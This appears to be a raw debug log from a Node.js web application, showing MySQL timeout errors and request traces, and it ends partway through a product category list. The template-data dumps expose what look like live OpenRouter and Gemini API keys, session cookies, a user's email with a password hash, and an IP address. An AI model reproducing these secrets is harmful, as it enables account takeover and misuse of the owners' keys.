Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 12:41:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 12:41:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 12:50:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 12:50:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 12:50:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 12:50:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 13:55:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 13:55:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 14:20:32' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 14:20:32' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 15:23:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 15:23:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-29 15:24:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-29 15:24:12' as DATETIME)"
}
2025-12-29T15:37:26.996Z server-connect:router Serving templateView /
2025-12-29T15:37:26.998Z server-connect:app Executing action step identify
2025-12-29T15:37:26.998Z server-connect:app options: { provider: 'security' }
2025-12-29T15:37:27.045Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-29T15:37:27.048Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-29T15:37:27.092Z server-connect:output identity: 1
2025-12-29T15:37:27.092Z server-connect:app Executing action step restrict
2025-12-29T15:37:27.092Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-29T15:37:27.093Z server-connect:output restrict: undefined
2025-12-29T15:37:27.093Z server-connect:app Executing action step restrict
2025-12-29T15:37:27.093Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-29T15:37:27.093Z server-connect:output restrict: undefined
2025-12-29T15:37:27.093Z server-connect:router Render template layouts/main
2025-12-29T15:37:27.093Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo',
    'x-forwarded-for': '49.43.180.93',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-30T15:37:26.996Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.93',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AkCjdy2If%2FLJafLa7AJWQVA%3D%3D.qYiwhE5OqZ1fe15blFPhoA4ANFhgHGY5ClUP6HcdxUBz%2B6x5uOxo4Z4gNw%2F9J7eeRv0XAR0EPzYuxyZEmxgcHi4Bdrexgk%2Fj1NeBadXhw7dqDa2GMrjAEb64LCpnUNRwqlE%2BNiJhzulvFO4KnP4lL%2BRRUZOoc9Ulf4SZANR1uKw%3D.B1GkIAiHLM%2BTIbxgVpHrZLz4NhSWASiNncOrGtutcxo',
    'HTTP_X_FORWARDED-FOR': '49.43.180.93',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-29T15:37:27.297Z server-connect:router Serving templateView /
2025-12-29T15:37:27.297Z server-connect:app Executing action step identify
2025-12-29T15:37:27.297Z server-connect:app options: { provider: 'security' }
2025-12-29T15:37:27.297Z server-connect:output identity: 1
2025-12-29T15:37:27.297Z server-connect:app Executing action step restrict
2025-12-29T15:37:27.297Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-29T15:37:27.298Z server-connect:output restrict: undefined
2025-12-29T15:37:27.298Z server-connect:app Executing action step restrict
2025-12-29T15:37:27.298Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-29T15:37:27.298Z server-connect:output restrict: undefined
2025-12-29T15:37:27.298Z server-connect:router Render template layouts/main
2025-12-29T15:37:27.298Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Acl6ztp0XEhU1Ir0mG%2FAGBA%3D%3D.1oUVEiol6F5D7WEl6prOr9iSi13pnxtp5zIlKPpUm1qmQaHh1YSk47zgWOvnwClQ7%2B8GnZEBssUBLHv0x4FNlk5HpHf1DoTtXhOxWJqn0n4Jkvn%2F%2Ftm6gChj4lHaskmenmUR8UXoRZLyZIkUHfs7Pxl9DorLqheEaoHvG9u0M40%3D.UQBb4HYVnQZUlY9mjWeqyH7Hd8GPe4zdg9G1H%2FP73J4; your_r_git.sid=s%3A4SzmqjW2zn0yZ9bAAdyb6m6dNp7NxYfC.UQAZ4bYWkCBilyvaJ9gXqq0r6S42HlWTxkwLJzUZHhs',
    'x-forwarded-for': '49.43.180.93',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-30T15:37:27.096Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.93',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Acl6ztp0XEhU1Ir0mG%2FAGBA%3D%3D.1oUVEiol6F5D7WEl6prOr9iSi13pnxtp5zIlKPpUm1qmQaHh1YSk47zgWOvnwClQ7%2B8GnZEBssUBLHv0x4FNlk5HpHf1DoTtXhOxWJqn0n4Jkvn%2F%2Ftm6gChj4lHaskmenmUR8UXoRZLyZIkUHfs7Pxl9DorLqheEaoHvG9u0M40%3D.UQBb4HYVnQZUlY9mjWeqyH7Hd8GPe4zdg9G1H%2FP73J4; your_r_git.sid=s%3A4SzmqjW2zn0yZ9bAAdyb6m6dNp7NxYfC.UQAZ4bYWkCBilyvaJ9gXqq0r6S42HlWTxkwLJzUZHhs',
    'HTTP_X_FORWARDED-FOR': '49.43.180.93',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-29T15:37:37.083Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-29T15:37:37.083Z server-connect:app Executing action step identify
2025-12-29T15:37:37.083Z server-connect:app options: { provider: 'security' }
2025-12-29T15:37:37.083Z server-connect:output identity: 1
2025-12-29T15:37:37.084Z server-connect:app Executing action step restrict
2025-12-29T15:37:37.084Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:37:37.085Z server-connect:output restrict: undefined
2025-12-29T15:37:37.085Z server-connect:app Executing action step select
2025-12-29T15:37:37.085Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-29T15:37:37.086Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-29T15:37:37.086Z server-connect:app Executing action step identify
2025-12-29T15:37:37.086Z server-connect:app options: { provider: 'security' }
2025-12-29T15:37:37.086Z server-connect:output identity: 1
2025-12-29T15:37:37.086Z server-connect:app Executing action step restrict
2025-12-29T15:37:37.086Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-29T15:37:37.090Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
